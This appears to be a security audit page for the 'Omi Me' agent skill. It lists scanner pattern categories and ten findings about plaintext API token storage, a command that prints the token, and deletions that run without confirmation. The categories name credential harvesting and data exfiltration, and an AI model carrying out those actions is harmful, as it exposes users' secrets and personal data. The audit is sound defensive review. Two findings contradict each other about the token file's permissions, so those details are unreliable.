Security audit

Omi Me

Security checks across malware telemetry and agentic risk

Overview

This looks like a real Omi.me CLI integration, but it has enough credential-handling and live-data safety issues that users should review it carefully before installing.

Review before installing. Use a limited or disposable Omi API token, avoid running omi-token.sh get in logged or shared terminals, verify ~/.config/omi-me/token is chmod 600, clear any API_URL environment variable before use, and treat delete/update commands as live changes to your Omi.me account.

SkillSpector

By NVIDIA

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access

Findings (10)

Lp3

Medium

Category: MCP Least Privilege
Confidence: 92% confidence
Finding: The skill advertises shell-based setup and operational commands in SKILL.md, but the metadata only declares required binaries and environment variables, not explicit permissions for shell execution. In an agent ecosystem, undeclared execution capability weakens trust boundaries and can cause users or orchestrators to run local scripts with filesystem access they did not clearly authorize.

Context-Inappropriate Capability

Medium

Confidence: 95% confidence
Finding: The `get` command prints the raw API token directly to stdout, making secret disclosure easy through terminal history, shell logging, process capture, or accidental copy/paste into chats and bug reports. A token manager for an integration may need to store and use credentials, but exposing them verbatim is broader than necessary and increases credential-theft risk.

Missing User Warnings

Medium

Confidence: 95% confidence
Finding: The documentation explicitly includes `omi-token.sh get` as a way to print the current API token, which encourages exposing a live credential to terminal history, logs, screen sharing, or agent transcripts. Because this is an API token for a remote service, disclosure could allow unauthorized access to memories, tasks, and conversations.

Missing User Warnings

Medium

Confidence: 90% confidence
Finding: The skill documents delete, update, create, and full sync operations against remote memories, tasks, and conversations without any warning that these commands can permanently alter or remove user data. In an agent-assisted environment, this increases the chance of accidental destructive actions or overbroad synchronization triggered without informed consent.

Missing User Warnings

Medium

Confidence: 88% confidence
Finding: Memory deletion occurs immediately with no confirmation, dry-run mode, or safety flag, so a mistaken command or agent misuse can irreversibly remove user data. In a skill that manages persistent personal memories, this increases the likelihood of destructive accidental actions.

Missing User Warnings

Medium

Confidence: 88% confidence
Finding: Task deletion is performed without confirmation or explicit acknowledgement, enabling accidental or automated destruction of user action items. Because this skill is designed for CRUD over persistent task data, unsafe delete semantics materially raise operational risk.

Missing User Warnings

Medium

Confidence: 89% confidence
Finding: Conversation deletion happens immediately and can remove potentially sensitive or important history without user verification. Given this skill manages long-lived conversations, an accidental invocation could cause irreversible data loss.

Missing User Warnings

Medium

Confidence: 97% confidence
Finding: Printing the stored API token without any warning or masking is a direct sensitive-data exposure. In an agent/skill context, stdout may be captured by wrappers, logs, transcripts, or other automation, making this more dangerous than a local-only utility because credentials can propagate beyond the user's terminal session.

Missing User Warnings

Medium

Confidence: 88% confidence
Finding: The script stores a sensitive API token in plaintext on disk and does not clearly warn the user that persistent local credential storage is occurring. Although `chmod 600` reduces exposure to other local users, plaintext storage still leaves the token recoverable by local malware, backups, endpoint tooling, or anyone with access to the account.

Missing User Warnings

Medium

Confidence: 92% confidence
Finding: The script persists the OMI_API_TOKEN environment variable to disk in $HOME/.config/omi-me/token without warning the user or setting restrictive permissions. Environment variables are often intended to be ephemeral; silently converting them into a long-lived file increases the chance of credential leakage through backups, filesystem exposure, or permissive default umask settings.

VirusTotal

57/57 vendors flagged this skill as clean.

View on VirusTotal

Static analysis

No suspicious patterns detected.